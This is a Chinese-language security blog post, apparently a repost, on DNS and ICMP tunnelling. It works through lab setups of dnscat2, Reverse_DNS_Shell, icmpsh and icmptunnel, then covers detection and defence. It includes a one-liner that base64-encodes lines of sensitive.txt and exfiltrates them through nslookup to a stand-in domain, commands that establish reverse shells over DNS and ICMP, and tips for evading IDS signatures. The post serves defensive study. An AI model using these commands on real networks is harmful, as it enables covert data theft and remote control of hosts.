Total Pageviews

Wednesday, 9 October 2019

隧道技术之DNS和ICMP与其检测防御

这些DNS隧道的木马都有一个共性,它们的 DNS 通信协议,看起来都比较奇怪,对,就是不正常;那么我们该如何去检测!,目前主要分为两大类:载荷分析和流量监测。
载荷分析:把主机名超过52个字符的 DNS 请求作为识别 DNS 隧道的特征.(正常的域名满足 Zipf 定律,而走 DNS 隧道的域名遵循的是随机分布)
流量监测:检测网络中的 DNS 流量变化情况,通过检测单位时间内 DNS 报文流速率来检测是否存在DNS隧道,利用检测 txt 类型的 DNS 报文来发现僵尸网络的通信情况。

实验环境

在接下来的环节中,我会利用 Github 上常见的开源隧道工具如 dnscat2、Reverse_DNS_Shell、icmpsh、icmptunnel 等进行实验,分析其通信,提取相关的特征。
Server: inet192.168.30.129 Debian 7.2
Client: inet 192.168.30.130Debian 7.2
Other: inet192.168.30.134 Win XP

DNS隧道

DNS 隧道通信是 C&C 常用的通信方式,一般常用的编码方式 Base64、Binary、Hex 编码等,请求的 Type 一般为 txt(为了返回的时候能够加入更多的信息)payload 部分一般为子域名。DNS 工作原理如下:
DNS
这里先介绍 DNS 隧道的一个应用场景:
在安全策略严格的内网环境中,常见的 C&C 通讯端口都被众多安全设备所监控。如果红队对目标内网的终端进行渗透时,发现该网段只允许白名单流量出站,同时其它端口都被屏蔽时,传统 C&C 通讯手段无法成立,反弹 Shell 变得十分困难。在这种情况下,红队还有一个最后的选择:使用 DNS 隐蔽隧道建立ReverseShell。
一个Demo(我们可以用下面这样的 shell:).
For I in (cat sensitive.txt); do d=(echoi|base64) && nslookup d.test.com; done
/**对每行内容进行base64编码,在DNS查询期间将其用作子域,一旦查询到达test.com的Authoritative DNS服务器,我们就可以捕获相应的DNS日志,
通过解析日志可以获得子域,从而得到相应的敏感数据**/
这样的 shell 自然存在许多不足的地方
1、单向通信,不能从 C2(Authoritative DNS) 发回命令
2、读取文件非常容易,如果需要处理 100MB 数据时DNS 数据包可能会以不同的顺序到达。
根据木马工作原理的不同,将 DNS隧道木马细分为IP直连型和域名型,这里主要介绍:DnsCat2、Dnscat2-powershell、Reverse_DNS_Shell。
dnscat2
DNScat2 支持加密,通过预共享密钥进行身份验证,多个同时进行的会话,类似于 ssh 中的隧道,命令 shell 以及最流行的 DNS 查询类型(TXT,MX,CNAME,A,AAAA),客户端用 C 语言编写,服务器用 ruby 编写。
Dns Tuneling
Dns Tuneling
当运行客户端时,需要指定一个域名(域名型DNS隧道木马),所有请求都将发送到本地DNS 服务器,然后将转发至该域 Authoritative DNS 服务器,如果你没有一个 Authoritative DNS 服务器,你也可以选择 UDP 的53 端口(IP直连型 DNS隧道木马),这样速度更快,而且看起来仍然像普通的 DNS 查询,但是在请求日志中所有域名都是以 dnscat 开头,这种模式也容易被防火墙检测到,Server 需要在Authoritative DNS 服务器上运行,与 Client 相同需要指定域名/IP。
域名型 DNS隧道木马通信架构图
​ 域名型 DNS 隧道木马通信架构图
一、部署
#Client
$ git clonehttps://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make
#Server
yum install rubygems
gem install bundler
git clonehttps://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install
二、参数介绍
请注意把 dnsch.cirrus.[domain] 换成你自己的域名。
命令行中:
-c 参数定义了 pre-shared secret,可以使用具有预共享密钥的身份验证来防止中间人(man-in-the-middle)攻击,否则传输数据并未加密,有可能被监听网络流量的第三方还原;如果不加定义,Dnscat2会生成一个字符串,记得拷贝下来在启动客户端时使用。
-e 参数可以规定安全级别, open 代表让客户端进行选择。
—no-cache 请务必在运行服务器时添加无缓存选项,因为 powershell-dnscat2 客户端与 dnscat2 服务器的 caching 模式不兼容。
三、Usage
如果目标内网放行了所有的 DNS 请求,那么就可以直接指定 HOST ,通过 UDP53 端口通信,而如果目标内网只允许和受信任的 DNS 服务器通信时就需要申请注意域名,并将运行 dnscat2 server 的服务器指定 Authoritative DNS 服务器,这里我们以第一种情况为例。
四、细节如下
1)Server
ruby ./dnscat2.rb

2)Client
./dnscat --dns server=192.168.30.129,port=53 --secret=a152c1cc946358825617f5cbcd3dce44

3)Server 可以看到连接建立

4)通信数据包特征

五、检测与防御
检测:
1、上文提到默认的 dnscat 查询中包含了dnscat 字符串,这个可以作为防火墙和入侵检测的特征
2、检查出站 DNS 查询的查询长度,监视来自特定主机的DNS 查询的频率,以及检查特定的不常见查询类型是一些示例。
3、记录 DNS 查询日志,通过频率、长度、类型监控异常日志
防御:防火墙上限制只允许与受信任的 DNS 服务器通信
dnscat2-powershell
https://github.com/lukebaggett/dnscat2-powershell

Dnscat2-powershell可通过通用签名避免检测:
  • 1、可以在客户端使用 –Delay 和–MaxRandomDelay 与 Start-Dnscat2 发送的每个请求之间添加静态或随机延迟;可以使用查询的精确最大长度基于查询来编写签名。如果您想要稍微隐蔽一些,可以使用-MaxPacketSize参数缩短最大请求大小。
  • 2、许多 DNS 隧道将使用 TXT,CNAME 或 MX 查询,因为它们的响应处理简单,响应时间长。这些不是最常见的查询类型,因此IDS 可能会警告这些查询的频率很高。故而可以构造基于:A 和 AAAA查询( Start-Dnscat2 的- LookupTypes 参数可用于将有效查询类型列表传递给客户端)
以下提供构造避免检测及提高传输速度的一个演示视频,若无法打开,可见文末下载链接
https://www.youtube.com/watch?v=VrA8cyrssos
Reverse_DNS_Shell
使用 DNS 作为 C2 通道的 Python 反向 Shell。
https://github.com/ahhh/Reverse_DNS_Shell
一、要求
  • dnslib
  • dnspython
  • pycrypto
KaliLinux 默认 python 环境为 2.7 以上(默认已安装好),以上三个包需要使用pip 进行安装。
二、注意
  • 首先运行服务端脚本
  • 不要忘记更改您的秘密密钥(可在代码里面改)
三、原理解析
http://lockboxx.blogspot.com/2015/01/python-reverse-dns-shell.html
四、细节
1) Server 端服务器监听状态

2) Client 端请求状态

3) 成功反弹 Shell

五、利用 tcpdump 进行数据包抓取
抓取主机:192.168.30.129 与 192.168.30.130 的通信数据包,保存为 root 目录下 DNSShell.cap
tcpdump -n -i eth0 host 192.168.30.129and 192.168.30.130 -w /root/DNSShell.cap

数据包解析情况

ICMP隧道

将IP流量封装进 IMCP 的 ping 数据包中,旨在利用 ping 穿透防火墙的检测,因为通常防火墙是不会屏蔽 ping 数据包。
原理解析:
请求端的 Ping 工具通常会在 ICMP 数据包后面附加上一段随机的数据作为 Payload,而响应端则会拷贝这段 Payload 到 ICMP 响应数据包中返还给请求端,用于识别和匹配 Ping 请求(Windows 和 Linux 系统下的Ping 工具默认的 Payload 长度为 64bit,但实际上协议允许附加最大 64K 大小的Payload)
最后一个 Payload 字段是可以存放任何数据的,长度的话 理论上 ICMP 包外的 IP 包长度不超过 MTU 即可,但是实际上传不了那么大。
ICMP echo-request header
​ ICMP echo-request header
ptunnel
一个隧道工具,允许您通过可靠的 TCP 隧道连接一个远程主机,并使用 ICMP 回送请求和应答包,俗称 ping 请求和回复。
http://freshmeat.sourceforge.net/projects/ptunnel/
使用场景简介:
两台机器间,除了允许相互 ping 即icmp 通信,其他的 tcp/udp 端口一律不允许,此时我们就可考虑利用 icmp 隧道进行穿透。
这里引用: Kionsec 的《利用icmp 隧道轻松穿透tcp/udp 四层封锁》
https://klionsec.github.io/2017/10/31/icmp-tunnel/
流程如下
ICMP
icmpsh
icmpsh 是一个简单的反向 ICMPshell ,与其他类似的开源工具相比,其主要优势在于它不需要管理权限即可在目标计算机上运行。
https://github.com/inquisb/icmpsh
一、Usage
1)Server
禁用ICMP
sysctl -wnet.ipv4.icmp_echo_ignore_all=1

设置监听 python icmpsh_m.pysrc(host:本地机器) dst(host:目标机器)
./icmpsh_m.py 192.168.30.130 192.168.30.134

反弹上线

2) Client
反弹 shell 建立 session
icmpsh.exe -t 192.168.30.130

-r 参数 利用 test 账户进行测试
icmpsh.exe -t 192.168.30.130 -r

3)数据包特征

4) Icmpsh –r参数


icmptunnel
icmptunnel 可以将 IP 流量封装进 IMCP 的 ping 数据包中,旨在利用 ping 穿透防火墙的检测。
对于隧道数据,icmptunnel 首先会指定客户端和服务器端。随后,客户端会将 IP 帧封装在 ICMP 请求数据包中发送给服务器,而服务器端则会使用相匹配的 ICMP 响应数据包进行回复(icmptunnel 提供在状态机防火墙和 NAT 网络之间,更加可靠的连接)。
https://github.com/jamesbarlow/icmptunnel
一、编译
$ git clone https://github.com/jamesbarlow/icmptunnel.git  
$ cd icmptunnel/ 
$ make

二、Usage
Server 与 Client 端禁止 ICMP 响应
$ echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all

在服务端以服务器模式启动 icmptunnel,并给隧道接口分配一个 IP 地址
$./icmptunnel -s
openedtunnel device: tun0  
(ctrl-z)
$ bg
$ /sbin/ifconfig tun0 10.0.0.1 netmask255.255.255.0

在客户端,使用 icmptunnel 连接上服务器,并给隧道接口分配一个 IP 地址
$ ./icmptunnel192.168.30.129
opened tunnel device: tun0  
connection established.  
(ctrl-z)
$ bg
$ /sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0


这样我们就拥有一个端到端基于 ICMP 数据包的隧道了,其中服务器地址为 10.10.0.1,客户端地址为 10.10.0.2,
在客户端可以尝试通过 SSH 连接服务器:
$ssh root@10.0.0.1

数据流特征

检测与防御:
检测:
1、检测同一来源 ICMP 数据包的数量。一个正常的 ping 每秒最多只会发送两个数据包,而使用 ICMP隧道的浏览器在同一时间会产生上千个 ICMP 数据包。
2、注意那些 ICMP 数据包中 payload 大于 64 比特的数据包。当然 icmptunnel 可以配置限制所有数据包的 payload 为 64 比特,这样会使得更难以被检测到。
3、寻找那些响应数据包中 payload 跟请求数据包不一致的 ICMP 数据包。
4、检查 ICMP 数据包的协议标签。例如,icmptunnel 会在所有的 ICMPpayload 前面增加 ‘TUNL’ 标记以用于识别隧道,这就是特征。
防御:禁止 ping。

总结与思考

在一开始,我们就介绍了载荷分析和流量监测两种常规的检测方法,这两种方式不适用于高隐蔽性新型隧道木马检测,从我们测试提取的特征中,将样本特征添加到设备作为监测对象效率依旧低下。
思考:
我们是否可以用深度学习算法及自动检测技术来实现呢?
我们可以结合协议本身,基于通信行为检测隧道木马,,采用 Winpcap 数据包捕获技术的底层过滤机制,抓取 DNS 流量.将抓取的 DNS 流量按照五元组进行聚类,形成 DNS 会话数据流.将一个个 DNS 会话数据流提取成 DNS 会话评估向量,作为分类训练模块和木马流量监测的输入。
DNS隧道木马检测流程框架
DNS隧道木马检测流程框架

相关附件

主要为本次实验的相关流量包及 2 个视频
链接:https://pan.baidu.com/s/1RdMYuUWhDYxKq0FQ7wLHmQ
提取码:4ygn

参考链接

https://xz.aliyun.com/t/2214
https://www.blackhillsinfosec.com/powershell-dns-command-control-with-dnscat2-powershell/
https://www.anquanke.com/post/id/152046
https://klionsec.github.io/2017/10/31/icmp-tunnel/
https://www.cnblogs.com/KevinGeorge/p/8858718.html
https://www.freebuf.com/articles/network/149328.html
https://www.anquanke.com/post/id/87228

from  https://www.anquanke.com/post/id/163240